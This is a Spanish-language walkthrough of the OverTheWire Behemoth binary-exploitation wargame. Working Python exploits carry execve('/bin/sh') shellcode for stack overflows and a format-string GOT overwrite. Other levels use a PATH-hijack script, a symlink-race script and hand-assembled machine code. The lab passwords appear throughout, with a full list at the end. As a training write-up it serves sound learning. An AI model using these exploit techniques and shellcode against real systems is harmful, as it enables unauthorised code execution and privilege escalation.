Behemoth - [OverTheWire]
Table of Contents
Introducción
Behemoth son una serie de retos que tienen que ver con la explotación y el reversing de binarios, una vez solucionas un reto puedes acceder al fichero donde se encuentran la contraseña para acceder al siguiente reto.
Para acceder a los retos tienes que emplear SSH.
kali@kali:$ ssh -p 2221 behemoth0@behemoth.labs.overthewire.org
Una vez dentro de la máquinas encontrarás todos los retos en /behemoth/
.
behemoth0@behemoth:/behemoth$ ls -la
total 80
drwxr-xr-x 2 root root 4096 Aug 26 2019 .
drwxr-xr-x 27 root root 4096 Aug 26 2019 ..
-r-sr-x--- 1 behemoth1 behemoth0 5900 Aug 26 2019 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 5036 Aug 26 2019 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 7536 Aug 26 2019 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 5180 Aug 26 2019 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 7488 Aug 26 2019 behemoth4
-r-sr-x--- 1 behemoth6 behemoth5 7828 Aug 26 2019 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 7564 Aug 26 2019 behemoth6
-r-xr-x--- 1 behemoth7 behemoth6 7528 Aug 26 2019 behemoth6_reader
-r-sr-x--- 1 behemoth8 behemoth7 5676 Aug 26 2019 behemoth7
Todas las contraseñas para pasar al siguiente nivel están en la carpeta /etc/behemoth_pass/
y solo se pueden leer por el usuario del siguiente nivel.
behemoth1@behemoth:/behemoth$ ls -la /etc/behemoth_pass/
total 44
drwxr-xr-x 2 root root 4096 Aug 26 2019 .
drwxr-xr-x 88 root root 4096 Aug 26 2019 ..
-r-------- 1 behemoth0 behemoth0 10 Aug 26 2019 behemoth0
-r-------- 1 behemoth1 behemoth1 11 Aug 26 2019 behemoth1
-r-------- 1 behemoth2 behemoth2 11 Aug 26 2019 behemoth2
-r-------- 1 behemoth3 behemoth3 11 Aug 26 2019 behemoth3
-r-------- 1 behemoth4 behemoth4 11 Aug 26 2019 behemoth4
-r-------- 1 behemoth5 behemoth5 11 Aug 26 2019 behemoth5
-r-------- 1 behemoth6 behemoth6 11 Aug 26 2019 behemoth6
-r-------- 1 behemoth7 behemoth7 11 Aug 26 2019 behemoth7
-r-------- 1 behemoth8 behemoth8 11 Aug 26 2019 behemoth8
Nota: Si es tu primera vez en el mundo de la explotación binaria, te recomiendo que empieces leyendo mis posts de Protostar, Leviathan y Narnia antes que comenzar por este nivel, pues se darán por hecho algunos conocimientos.
Behemoth 0
Al ejecutar el programa vemos que comprueba si la contraseña que introducimos es correcta.
behemoth0@behemoth:/behemoth$ ./behemoth0
Password: Password
Access denied..
Para averiguar la contraseña se puede emplear ltrace (Programa que muestra las llamadas al sistema).
behemoth0@behemoth:/behemoth$ ltrace ./behemoth0
__libc_start_main(0x80485b1, 1, 0xffffd784, 0x8048680 <unfinished ...>
printf("Password: ") = 10
__isoc99_scanf(0x804874c, 0xffffd68b, 0xf7fc5000, 13Password: MIPASSWORD
) = 1
strlen("OK^GSYBEX^Y") = 11
strcmp("MIPASSWORD", "eatmyshorts") = -1
puts("Access denied.."Access denied..
) = 16
+++ exited (status 0) +++
Como podemos comprobar, el programa realiza la llamada strcmp que compara dos cadenas de caracteres; la primera de ellas es lo que he introducido "MIPASSWORD" y la segunda "eatmyshorts". Si lo introducimos, vemos como nos crea una shell como el usuario behemoth1, permitiéndonos obtener la contraseña para el siguiente usuario.
behemoth0@behemoth:/behemoth$ ./behemoth0
Password: eatmyshorts
Access granted..
$ id
uid=13001(behemoth1) gid=13000(behemoth0) groups=13000(behemoth0)
$ cat /etc/behemoth_pass/behemoth1
aesebootiv
Behemoth 1
El funcionamiento del binario de behemoth1 es igual que el nivel anterior.
behemoth1@behemoth:/behemoth$ ./behemoth1
Password: 1234
Authentication failure.
Sorry.
Sin embargo, ltrace no nos muestra la función strcpm.
behemoth1@behemoth:/behemoth$ ltrace ./behemoth1
__libc_start_main(0x804844b, 1, 0xffffd784, 0x8048480 <unfinished ...>
printf("Password: ") = 10
gets(0xffffd6a5, 0xffffd784, 0xf7ffcd00, 0x200000Password: MIPASSWORD
) = 0xffffd6a5
puts("Authentication failure.\nSorry."Authentication failure.
Sorry.
) = 31
+++ exited (status 0) +++
Para analizarlo mejor, me lo he descargado empleado SCP:
kali@kali:$ scp -P 2221 behemoth1@behemoth.labs.overthewire.org:/behemoth/behemoth1 .
Utilizando Ghidra genera el siguiente código decompilado.
undefined4 main(void)
{
char local_47 [67];
printf("Password: ");
gets(local_47);
puts("Authentication failure.\nSorry.");
return 0;
}
Como podemos ver, el programa almacena los valores que nosotros le introduzcamos en un char array de 67 caracteres y finaliza directamente.
El empleo de gets es peligroso debido a que su uso puede resultar en Buffer Overflows. Como demostración, al introducir una cantidad exagerada de caracteres se produce una Segmentation Fault.
kali@kali:$ python -c "print 'A'*80" | ./behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
Usando el comando dmesg podemos ver que ha pasado.
kali@kali:/mnt/hgfs/2_MisPostsBlog/OverTheWire/Behemoth$ sudo dmesg | tail -2
[34917.127513] behemoth1[37284]: segfault at 41414141 ip 0000000041414141 sp 00000000ffc6ec30 error 14 in libc-2.31.so[f7d44000+1d000]
[34917.127545] Code: Unable to access opcode bytes at RIP 0x41414117.
La dirección que había en el Instruction Pointer Register o (RIP) ha sido sobrescrita por el valor 0x41
o 'A's en ASCII. Esto implica que podemos saltar a cualquier posición de la memoria. Pero antes, necesitamos saber cuantos caracteres son necesarios para sobrescribir el RIP con la dirección que queramos.
Mediante prueba y error, se obtiene que escribiendo 71 'A's, podemos escribir la dirección de memoria que queramos.
kali@kali:/mnt/hgfs/2_MisPostsBlog/OverTheWire/Behemoth$ python -c "print 'A'*71+'BBBB'" | ./behemoth1;
sudo dmesg | tail -2
Password: Authentication failure.
Sorry.
Segmentation fault
[36041.405591] behemoth1[38455]: segfault at 42424242 ip 0000000042424242 sp 00000000ff85d1c0 error 14 in libc-2.31.so[f7cff000+1d000]
[36041.405639] Code: Unable to access opcode bytes at RIP 0x42424218.
Una vez sabemos el OFFEST se pueden emplear diferentes técnicas de explotación binaria. Entre ellas, he utilizado la técnico de ROP con el uso de SHELLCODES (Instrucciones máquinas que al ejecutarse ejecutan una terminal).
Primero de todo, necesitamos saber donde se encuentra en el binario la instrucción jmp esp
. Para ello, empleamos la herramienta GDB.
Ejecutamos la herramienta, pasando como parámetro la ruta del programa a analizar. Después añadimos un breakpoint para que el programa se detenga cuando se ejecute.
behemoth1@behemoth:/tmp/Marmeus$ gdb /behemoth/behemoth1
(gdb) b *main
Breakpoint 1 at 0x804844b
(gdb) r
Starting program: /behemoth/behemoth1
Breakpoint 1, 0x0804844b in main ()
(gdb)
Una vez parado el programa, podemos usar el comando info proc map
para mostrar todas las direcciones de memoria de las que se componen el programa y entre ellas los rangos de direcciones de las librerías del binario. Gracias a este rango de direcciones, podemos encontrar las apariencias de la instrucción jmp esp
que en hexadecimal es \xFF\xE4
.
(gdb) info proc map
process 24419
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /behemoth/behemoth1 [0/186]
0x8049000 0x804a000 0x1000 0x0 /behemoth/behemoth1
0xf7e10000 0xf7e12000 0x2000 0x0
0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so
0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so
0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so
0xf7fc6000 0xf7fc9000 0x3000 0x0
0xf7fd2000 0xf7fd4000 0x2000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find 0xf7e12000,0xf7fc6000, "\xFF\xE4"
0xf7f7917f
0xf7f8a4df
0xf7f97fd7
0xf7fa6647
0xf7fa6d67
0xf7fb8a03
6 patterns found.
(gdb) x/i 0xf7f7917f
0xf7f7917f: jmp *%esp
De todas las ocurrencias que aparecen en el texto anterior se ha elegido la primera, debido a que al acceder a dicha dirección nos encontramos con la dirección jmp esp
.
Ahora necesitamos saber que SHELLCODE vamos a ejecutar, para ello podemos emplear la web shell-storm donde existen muchas líneas de código en ensamblador que realizan diversas acciones. Entre ellas, he elegido el shellcode que ejecuta execve pasando como parámetro la cadena "/bin/sh".
Finalmente, el exploit resultante es el siguiente.
#!/bin/python
from struct import *
import sys
DIR_JMPESP = pack('I',0xf7f7917f)
# http://shell-storm.org/shellcode/files/shellcode-841.php
SHELLCODE = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
OFFSET = 'A'*71
PAYLOAD = OFFSET+DIR_JMPESP+SHELLCODE
sys.stdout.write(PAYLOAD)
Si ejecutamos el exploit directamente dirigiendo la salida del exploit al programa mediante una pipe no va a funcionar. Esto sucede porque cuando el shellcode ejecuta el comando sh
comprueba si recibe datos por el stream de entrada, el cual se encuentra cerrado, por lo que sh
acaba sin ejecutar ningún comando. Para dejar el stream de entrada abierto, es necesario ejecutar cat -
.
De esta forma, ejecutamos el exploit obteniendo la contraseña para el nivel 2.
behemoth1@behemoth:/tmp/Marmeus$ (python E1_1.py; cat -) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
id
uid=13002(behemoth2) gid=13001(behemoth1) groups=13001(behemoth1)
cat /etc/behemoth_pass/behemoth2
eimahquuof
Behemoth 2
A la hora de ejecutar el binario behemoth2 podemos apreciar como el programa no realiza ninguna acción independientemente de lo que escribamos por la terminal.
behemoth2@behemoth:/tmp/Marmeus$ /behemoth/behemoth2
id
ls
asdasdasdasdasdasdasdasdasd
Ejecutándolo nuevamente con ltrace podemos ver como el programa crea un archivo cuyo nombre es el número de su proceso mediante touch y se espera 2000 segundos o 33 minutos aproximadamente.
behemoth2@behemoth:/tmp/Marmeus$ ltrace /behemoth/behemoth2
__libc_start_main(0x804856b, 1, 0xffffd734, 0x8048660 <unfinished ...>
getpid() = 25879
sprintf("touch 25879", "touch %d", 25879) = 11
__lxstat(3, "25879", 0xffffd600) = -1
unlink("25879") = -1
geteuid() = 13002
geteuid() = 13002
setreuid(13002, 13002) = 0
system("touch 25879" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
sleep(2000)
Antes que nada, he de aclarar que la forma de resolver el reto la cual voy a explicar se le ocurrió a xavilok, mi forma se basaba en el principio de usar enlaces simbólicos que se verá en el nivel 4, lamentablemente tenías que esperar 30 minutos para que se ejecutase, por lo que es mejor la de Xavi, y es la que se va a utilizar. Dicho esto, seguimos con el reto.
Como se puede ver en la ejecución de ltrace, el comando touch no tiene ninguna ruta asignada de donde se encuentra el binario, por lo que se puede realizar un Path Hijacking para que en lugar de ejecutar touch se ejecute lo que nosotros queramos.
Para ello se ha creado el siguiente script llamado "touch" que ejecuta bash y se le han añadido el permiso de ejecución (chmod +x touch
).
#!/bin/bash
/bin/bash -i
Ahora modificamos la variable de entorno PATH, que se encuentra en nuestra consola, para que primeramente busque el binario en la ruta /tmp/Marmeus
.
behemoth2@behemoth:/tmp/Marmeus$ export PATH=/tmp/Marmeus:$PATH
Finalmente, solo queda ejecutar el binario obteniendo nuestra terminal como el usuario "behemoth3".
behemoth2@behemoth:/tmp/Marmeus$ /behemoth/behemoth2
behemoth3@behemoth:/tmp/Marmeus$ id
uid=13003(behemoth3) gid=13002(behemoth2) groups=13002(behemoth2)
Behemoth 3
El binario tres muestra por pantalla lo que nosotros le introducimos.
kali@kali:/mnt/hgfs/2_MisPostsBlog/OverTheWire/Behemoth$ ./behemoth3
Identify yourself: Hello
Welcome, Hello
aaaand goodbye again.
Sin embargo, si le introducimos %x
nos muestra un valor en hexadecimal, esto implica a que es vulnerable a Format String. Si quieres saber más aquí tienes un post donde te explican en que consiste la debilidad de Format String.
kali@kali:/mnt/hgfs/2_MisPostsBlog/OverTheWire/Behemoth$ ./behemoth3
Identify yourself: %x
Welcome, a7825
aaaand goodbye again.
Para asegurarnos, se puede ver el decompilado del binario, y podemos ver como todo lo que le introducimos es directamente mostrado mediante la instrucción printf.
undefined4 main(void)
{
char local_cc [200];
printf("Identify yourself: ");
fgets(local_cc,200,stdin);
printf("Welcome, ");
printf(local_cc);
puts("\naaaand goodbye again.");
return 0;
}
Entonces, si nosotros enviamos un conjunto de As y un conjunto de |%x
, no solamente nos mostrará las As sino que nos mostrará todos los datos que se encuentran en el stack en formato hexadecimal (separados por |
). Esto funciona porque el parámetro %x
es empleado por printf para sacar el valor introducido como parámetro en hexadecimal. Sin embargo, como el único parámetro que le pasamos es la dirección de la string coge los valores que se encuentran en el stack.
kali@kali:$ python -c "print 'AAAA'+'|%x'*196" | ./behemoth3
Identify yourself: Welcome, AAAA|41414141|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|78257c78|78257c|0|f7d55df6|1|ffd757d4|ffd757dc|ffd75764|ffd75774|f7f74b40|f7f42410|f7f1c000|1|0|ffd757b8|0|f7f74000
aaaand goodbye again.
Como podemos ver, lo primero que introducimos, en nuestro caso las As, es lo primero que se muestra y después vemos las As en hexadecimal 41
y el resto de valores en el stack. Entonces, empleando el parámetro %n
que escribe el número de caracteres que se han mostrado por pantalla en una dirección de memoria que le pasemos como parámetro.
Entonces, si en vez de introducir un conjunto de As, introducimos una dirección de memoria y posteriormente el parámetro %1$n
escribirá un 4 en la dirección de memoria que le hemos introducido al principio (Es un cuatro porque en 32bits las direcciones de memoria son 4 caracteres). Para modificar el número de caracteres que queremos que se muestre por pantalla basta con introducir %<NumCaracteres>
.
El objetivo para poder obtener una shell, es mediante la debilidad Format String sobrescribir la dirección de puts en la GOT para que cuando se ejecute la instrucción puts salte al stack donde se encuentre nuestro shellcode y ejecute la shell.
El exploit es el siguiente:
#!/bin/python
from struct import *
import sys
DIR_PUTS = pack("I",0x80497ac)
DIR_PUTS1 = pack("I",0x80497ac+2)
# http://shell-storm.org/shellcode/files/shellcode-841.php
SHELLCODE = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
aux = 0xd5e8
num =aux-8
num1=0xffff-aux
NOP_SLED="\x90"*50
PAYLOAD = DIR_PUTS+DIR_PUTS1+"%"+str(num)+"x%1$hn%"+str(num1)+"x%2$hn"+NOP_SLED+SHELLCODE
sys.stdout.write(PAYLOAD)
Hay que decir, que la dirección de nuestro shellcode en el stack puede variar si emplease GDB o no, por lo que tendrás que jugar con los 2 últimos bytes de aux
y aumentar el número de instrucciones nop en la variable NOP_SLED
.
behemoth3@behemoth:/tmp/Marmeus$ (python E3.py; cat -) | /behemoth/behemoth3
id
uid=13003(behemoth3) gid=13003(behemoth3) euid=13004(behemoth4) groups=13003(behemoth3)
cat /etc/behemoth_pass/behemoth4
ietheishei
Behemoth 4
Al ejecutar el binario nos muestra que no encuentra el PID.
behemoth4@behemoth:~$ /behemoth/behemoth4
PID not found!
Una rápida decompilazión con Ghidra nos muestra el siguiente código en C.
undefined4 main(void)
{
char local_30 [20];
int local_1c;
FILE *local_18;
__pid_t local_14;
undefined *local_c;
local_c = &stack0x00000004;
local_14 = getpid();
sprintf(local_30,"/tmp/%d",local_14);
local_18 = fopen(local_30,"r");
if (local_18 == (FILE *)0x0) {
puts("PID not found!");
}
else {
sleep(1);
puts("Finished sleeping, fgetcing");
while( true ) {
local_1c = fgetc(local_18);
if (local_1c == -1) break;
putchar(local_1c);
}
fclose(local_18);
}
return 0;
}
Como podemos ver, nada más ejecutarse el programa obtiene su PID y comprueba si existe algún archivo con ese nombre en la ruta /tmp/
si existe el fichero, muestra su contenido, en caso contrario muestra "PID not found!".
Manualmente, es imposible obtener el PID del programa, para luego crear un archivo. Por lo tanto me he creado un script, que obtiene el PID del programa, lo detiene, crea un enlace simbólico para que lea la contraseña del usuario behemoth5 y continúe la ejecución del proceso.
El script es el siguiente.
#!/bin/bash
/behemoth/behemoth4 &
# Obtiene el PID del ultimo comando ejecutado
PID=$!
# Detiene el programa
kill -STOP $PID
# Crea el enlace
ln -s /etc/behemoth_pass/behemoth5 /tmp/$PID
# Reanuda el programa
kill -CONT $PID
Al ejecutarlo, obtenemos la contraseña para el siguiente nivel.
behemoth4@behemoth:/tmp/Marmeus$ ./E4.sh
behemoth4@behemoth:/tmp/Marmeus$ Finished sleeping, fgetcing
aizeeshing
Behemoth 5
Como podemos ver en los siguiente comandos, al ejecuta behemoth5 no nos muestra nada por pantalla y se de tiene.
behemoth5@behemoth:~$ /behemoth/behemoth5
behemoth5@behemoth:~$ /behemoth/behemoth5
behemoth5@behemoth:~$ /behemoth/behemoth5
Además, usando ltrace no nos proporciona demasiada información.
behemoth5@behemoth:~$ ltrace /behemoth/behemoth5
__libc_start_main(0x804872b, 1, 0xffffd774, 0x8048920 <unfinished ...>
fopen("/etc/behemoth_pass/behemoth6", "r") = 0
perror("fopen"fopen: Permission denied
) = <void>
exit(1 <no return ...>
+++ exited (status 1) +++
Analizando el decompilado que nos proporciona Ghidra, se pueden entender más cosas.
void main(void) {
long lVar1;
size_t __n;
int iVar2;
sa_family_t local_38;
uint16_t local_36;
undefined4 local_34;
undefined auStack48 [8];
ssize_t local_28;
int local_24;
hostent *local_20;
char *local_1c;
FILE *local_18;
size_t local_14;
undefined *puStack12;
puStack12 = &stack0x00000004;
local_14 = 0;
local_18 = fopen("/etc/behemoth_pass/behemoth6","r");
if (local_18 == (FILE *)0x0) {
perror("fopen");
/* WARNING: Subroutine does not return */
exit(1);
}
fseek(local_18,0,2);
lVar1 = ftell(local_18);
local_14 = lVar1 + 1;
rewind(local_18);
local_1c = (char *)malloc(local_14);
fgets(local_1c,local_14,local_18);
__n = strlen(local_1c);
local_1c[__n] = '\0';
fclose(local_18);
local_20 = gethostbyname("localhost");
if (local_20 == (hostent *)0x0) {
perror("gethostbyname");
/* WARNING: Subroutine does not return */
exit(1);
}
local_24 = socket(2,2,0);
if (local_24 == -1) {
perror("socket");
/* WARNING: Subroutine does not return */
exit(1);
}
local_38 = 2;
iVar2 = atoi("1337");
local_36 = htons((uint16_t)iVar2);
local_34 = *(undefined4 *)*local_20->h_addr_list;
memset(auStack48,0,8);
__n = strlen(local_1c);
local_28 = sendto(local_24,local_1c,__n,0,(sockaddr *)&local_38,0x10);
if (local_28 == -1) {
perror("sendto");
/* WARNING: Subroutine does not return */
exit(1);
}
close(local_24);
/* WARNING: Subroutine does not return */
exit(0);
}
Básicamente, el programa lee el archivo y lo envía a localhost por el puerto 1337. No obstante hay que tener en cuenta que para enviarlo emplea la instrucción sendto la cual envía los datos empleando el protocolo UDP. Por lo tanto, para poder recibir la contraseña necesitamos crear un puerto a la escucha con el protocolo UDP y ejecutar el programa. Para ello se ha empleado netcat.
behemoth5@behemoth:~$ nc -ulp 1337
mayiroeche
Behemoth 6
Behemoth6 es bastante distinto a los que hemos visto hasta ahora. El reto esta compuesto por 2 binarios "behemoth6" y "behemoth6_reader". Este último lee los caracteres almacenados en un fichero llamado "shellcode.txt" COMO SI FUESEN CÓDIGO MÁQUINA. El primero, una vez que se ha ejecutado "behemoth6_reader", lee el output que ha generado "behemoth6_reader" y si es igual a HelloKitty\0" ejecuta una shell.
Buscando en Internet, encontré un post en wikipedia el cual te muestra como crear tu propio código máquina para mostrar por pantalla una cadena de caracteres. Sin embargo, nos hace falta la dirección de memoria de la cadena de caracteres que queremos imprimir. Como tenemos control sobre el código a ejecutar, podemos meter la cadena en el stack empleado la instrucción push y pasándole el registro ESP, pues apunta a la parte de arriba del stack. El código máquina es el siguiente:
push 0x00007974
push 0x74694B6f
push 0x6c6c6548
mov ecx, esp
mov ebx, 0x1
mov edx, 0xc
mov eax, 0x4
int 0x80
mov eax, 1
mov ebx, 0
int 0x80
Ahora, falta transformarlo en hexadecimal, para ello se ha empleado el assembler de defuse.ca, cuyo resultado es el siguiente:
\x68\x74\x79\x00\x00\x68\x6F\x4B\x69\x74\x68\x48\x65\x6C\x6C\xBB\x01\x00\x00\x00\x89\xE1\xBA\x0C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80\xB8\x01\x00\x00\x00\xBB\x00\x00\x00\x00\xCD\x80
Ahora solo falta emplear python para que nos cree el archivo "shellcode.txt".
import sys
PAYLOAD = "\x68\x74\x79\x00\x00\x68\x6F\x4B\x69\x74\x68\x48\x65\x6C\x6C\xBB\x01\x00\x00\x00\x89\xE1\xBA\x0C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80\xB8\x01\x00\x00\x00\xBB\x00\x00\x00\x00\xCD\x80"
f = open("shellcode.txt","w")
f.write(PAYLOAD)
f.close()
Finalmente, solo falta ejecutarlo obteniendo nuestra shell.
behemoth6@behemoth:/tmp/Marmeus$ python E6.py; /behemoth/behemoth6_reader; /behemoth/behemoth6
HelloKittyCorrect.
$ id
uid=13007(behemoth7) gid=13006(behemoth6) groups=13006(behemoth6)
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo
Behemoth 7
Al igual que en el nivel 5, el ejecutar el binario no nos muestra nada.
behemoth7@behemoth:~$ /behemoth/behemoth7
behemoth7@behemoth:~$ /behemoth/behemoth7
behemoth7@behemoth:~$ /behemoth/behemoth7
Sin embargo, con ltrace muestra como todas las variables de entorno las sobrescribe con 0s empleando la instrucción menset.
behemoth7@behemoth:/tmp/Marmeus$ ltrace /behemoth/behemoth7
__libc_start_main(0x804852b, 1, 0xffffd764, 0x8048650 <unfinished ...>
strlen("LC_ALL=en_US.UTF-8")= 18
memset(0xffffd89b, '\0', 18)= 0xffffd89b
strlen("LS_COLORS=rs=0:di=01;34:ln=01;36"...)= 1467
memset(0xffffd8ae, '\0', 1467)= 0xffffd8ae
strlen("SSH_CONNECTION=83.35.227.225 503"...)= 52
memset(0xffffde6a, '\0', 52)= 0xffffde6a
strlen("LANG=en_US.UTF-8")= 16
memset(0xffffde9f, '\0', 16)= 0xffffde9f
strlen("USER=behemoth7")= 14
memset(0xffffdeb0, '\0', 14)= 0xffffdeb0
strlen("PWD=/tmp/Marmeus")= 16
memset(0xffffdebf, '\0', 16)= 0xffffdebf
strlen("HOME=/home/behemoth7")= 20
memset(0xffffded0, '\0', 20)= 0xffffded0
strlen("SSH_CLIENT=83.35.227.225 50381 2"...)= 33
memset(0xffffdee5, '\0', 33)= 0xffffdee5
strlen("SSH_TTY=/dev/pts/11")= 19
memset(0xffffdf07, '\0', 19) = 0xffffdf07
strlen("MAIL=/var/mail/behemoth7")= 24
memset(0xffffdf1b, '\0', 24)= 0xffffdf1b
strlen("TERM=xterm-256color")= 19
memset(0xffffdf34, '\0', 19)= 0xffffdf34
strlen("SHELL=/bin/bash")= 15
memset(0xffffdf48, '\0', 15)= 0xffffdf48
strlen("TMOUT=1800")= 10
memset(0xffffdf58, '\0', 10)= 0xffffdf58
strlen("SHLVL=1")= 7
memset(0xffffdf63, '\0', 7)= 0xffffdf63
strlen("LOGNAME=behemoth7")= 17
memset(0xffffdf6b, '\0', 17)= 0xffffdf6b
strlen("PATH=/usr/local/bin:/usr/bin:/bi"...) = 61
memset(0xffffdf7d, '\0', 61)= 0xffffdf7d
strlen("OLDPWD=/home/behemoth7") = 22
memset(0xffffdfbb, '\0', 22)= 0xffffdfbb
strlen("_=/usr/bin/ltrace") = 17
memset(0xffffdfd2, '\0', 17)= 0xffffdfd2
+++ exited (status 0) +++
Para entender mejor el binario he vuelto a emplear Ghidra para saber que se esta ejecutando.
undefined4 main(int param_1,int param_2,int param_3)
{
size_t __n;
ushort **ppuVar1;
char local_210 [512];
int local_10;
int Contador1;
char *local_8;
local_8 = *(char **)(param_2 + 4);
Contador1 = 0;
while (*(int *)(param_3 + Contador1 * 4) != 0) {
__n = strlen(*(char **)(param_3 + Contador1 * 4));
memset(*(void **)(param_3 + Contador1 * 4),0,__n);
Contador1 = Contador1 + 1;
}
local_10 = 0;
if (1 < param_1) {
while ((*local_8 != '\0' && (local_10 < 0x200))) {
local_10 = local_10 + 1;
ppuVar1 = __ctype_b_loc();
if ((((*ppuVar1)[*local_8] & 0x400) == 0) &&
(ppuVar1 = __ctype_b_loc(), ((*ppuVar1)[*local_8] & 0x800) == 0)) {
fprintf(stderr,"Non-%s chars found in string, possible shellcode!\n","alpha");
/* WARNING: Subroutine does not return */
exit(1);
}
local_8 = local_8 + 1;
}
strcpy(local_210,*(char **)(param_2 + 4));
}
return 0;
}
Básicamente, el programa sobrescribe todas las variables de entorno a 0s como hemos visto anteriormente con ltrace, y si se le ha pasado un parámetro busca en los primeros 512 caracteres del parámetro y si existen caracteres no imprimibles el programa termina mostrando por pantalla "Non-alpha chars found in string, possible shellcode!". No obstante, el programa es vulnerable a Buffer Overflow pues emplea la instrucción strcpy que copia en local_210
hasta encontrarse un Null Byte (0x00
) . Entonces, si enviamos más de 512 caracteres obtenemos un Segmentation Fault.
behemoth7@behemoth:/tmp/Marmeus$ gdb /behemoth/behemoth7
(gdb) r $(python -c "print 'A'*550")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth7 $(python -c "print 'A'*550")
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Como ya sabemos que es vulnerable, falta saber el offset necesario para poder sobrescribir la dirección de retorno.
from struct import *
import sys
OFFSET = 'A'*512+'BBBB'*4+"CCCC"
PAYLOAD = OFFSET+SHELLCODE
sys.stdout.write(PAYLOAD)
El offset resultante es de 528 caracteres que podemos comprobarlo ejecutando el exploit con GDB.
behemoth7@behemoth:/tmp/Marmeus$ gdb /behemoth/behemoth7
(gdb) r $(python E7.py)
Starting program: /behemoth/behemoth7 $(python E7.py)
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
Ahora, para poder obtener nuestra una shell se plantea añadir un nop slide y shellcode al payload de tal forma que el proceso salte una vez se produce el Overflow. Lo único, que nos hace falta es conocer una posición de memoria a la cual podemos saltar, para ello se ha empleado GDB.
(gdb) b *0x08048649
Breakpoint 1 at 0x8048649
(gdb) r $(python E7.py)
Starting program: /behemoth/behemoth7 $(python E7.py)
Breakpoint 1, 0x08048649 in main ()
(gdb) x/30xw $esp
0xffffd41c: 0x43434343 0x90909090 0x90909090 0x90909090
0xffffd42c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd43c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd44c: 0x90909090 0xc9319090 0x6851e1f7 0x68732f2f
0xffffd45c: 0x69622f68 0xb0e3896e 0x0080cd0b 0x00000002
0xffffd46c: 0x08048430 0x00000000 0xf7fee710 0xf7e2a199
0xffffd47c: 0xf7ffd000 0x00000002 0x08048430 0x00000000
0xffffd48c: 0x08048451 0x0804852b
Como se puede ver en el output mostrado por GDB, una buena dirección a la que se podría salta sería la 0xffffd420
. Por lo tanto, juntando toda la información obtenemos el siguiente exploit.
Nota: Al igual que en el nivel 3 es posible que tengas que reajustar el número de nops y la dirección de memoria a saltar, pues es diferente si se usa GDB o no.
from struct import *
import sys
SHELLCODE = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
OFFSET = 'A'*512+'BBBB'*4
NOP_SLED = "\x90"*50
DIR_SHELLCODE = pack("I",0xffffd420 )
PAYLOAD = OFFSET+DIR_SHELLCODE+NOP_SLED+SHELLCODE
sys.stdout.write(PAYLOAD)
Finalmente, se ejecuta el exploit para que el output se pase como parámetro, obteniendo la última contraseña de los retos Behemoth.
behemoth7@behemoth:/tmp/Marmeus$ /behemoth/behemoth7 $(python E7.py)
$ id
uid=13007(behemoth7) gid=13007(behemoth7) euid=13008(behemoth8) groups=13007(behemoth7)
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae
Contraseñas
1) aesebootiv
2) eimahquuof
3) nieteidiel
4) ietheishei
5) aizeeshing
6) mayiroeche
7) baquoxuafo
8) pheewij7Ae